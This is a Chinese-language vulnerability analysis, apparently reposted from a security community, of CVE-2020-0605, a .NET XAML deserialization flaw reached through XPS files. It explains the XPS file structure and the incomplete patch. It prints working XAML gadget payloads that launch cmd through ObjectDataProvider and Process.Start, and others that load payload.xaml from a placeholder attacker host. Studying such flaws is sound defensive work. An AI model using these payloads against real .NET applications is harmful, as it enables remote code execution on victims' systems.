微軟近期修復了許多與XPS文件有關的反序列化漏洞,其中就包括CVE-2020-0605,XPS文件用於作為PDF文件的替代品,但其並未像後者那樣普及,微軟已在Win10 1083 +中將XPS Viewer默認安裝,不過XPS Viewer不調用.NET來讀取XPS文件,因此不受該漏洞影響。該漏洞的補丁在今年一月就發布了,但是補丁不夠完善,然後在今年五月對補丁進行了完善。該漏洞可用於攻擊所有使用.NET處理XPS文件的業務場景,其已被確認的漏洞思路也可用於開發其它XAML反序列化漏洞的利用鏈。
2. 技術分析一個XPS文件就像一個壓縮包,其內包含多類文件,例如圖像、字體以及XML文檔。.NET中基於XAML來序列化處理XPS文件中的XML文件。
一個簡單的XPS文件結構如下:
File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels
其中帶有.fdseql、.fdoc、.fpage的文件使用了XAML序列化進程。不過如果在[Content_Types].xml文件中定義了合適的類型,也可以使用其他自定義的後綴名。
ysoserial項目中提供了以下通用exp以在讀取XPS文件時來命令執行:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc"
ObjectType="{x:Type Diag:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
一月份給出的補丁僅增加了對.fdseq格式文件的安全校驗,不過仍可使用其它文件來觸發漏洞。
舉兩個怎樣在.NET場景中讀取XPS文件的例子,如下:
XpsDocument
XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read);
var a = myDoc.GetFixedDocumentSequence();
LocalPrintServer + defaultPrintQueue
PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);
不過我們測試過程中發現XPS文件中的BAML(XAML的編譯版本)文件無法觸發漏洞,它們會導致內部錯誤。
### 3.1. 受影響的.NET 內部類
註:internal class被譯為了內部類,該internal修飾符表示被修飾的類或方法其訪問權限僅限於當前程序集,關於C#中internal關鍵字的相關資料可見此
.NET其System.Windows.Documents命名空間下存在XpsValidatingLoader類,其中的Load()和Validate()方法在處理惡意XAML指令時可能會導致代碼執行,因為它們都最終調用了XamlReader.Load()方法。
關係圖如下:
System.Windows.Documents.XpsValidatingLoader為內部類
System.Windows.Documents.FixedDocument
System.Windows.Documents.PageContent
System.Windows.Documents.FixedDocument
System.Windows.Documents.DocumentReference
其內部方法Load在以下類中被調用:
其內部方法Validate在以下類中被調用:
然後,上述所受影響的類最終可被其它公共類中所調用。
2.2. 一些基於XAML的Gadgets2.2.1. FixedDocument/FixedDocumentSequence + xaml引用<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
<PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>
或者
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocument.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocument.Resources>
</FixedDocument>
或者
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocumentSequence.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocumentSequence.Resources>
</FixedDocumentSequence>
轉自先知社區
歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!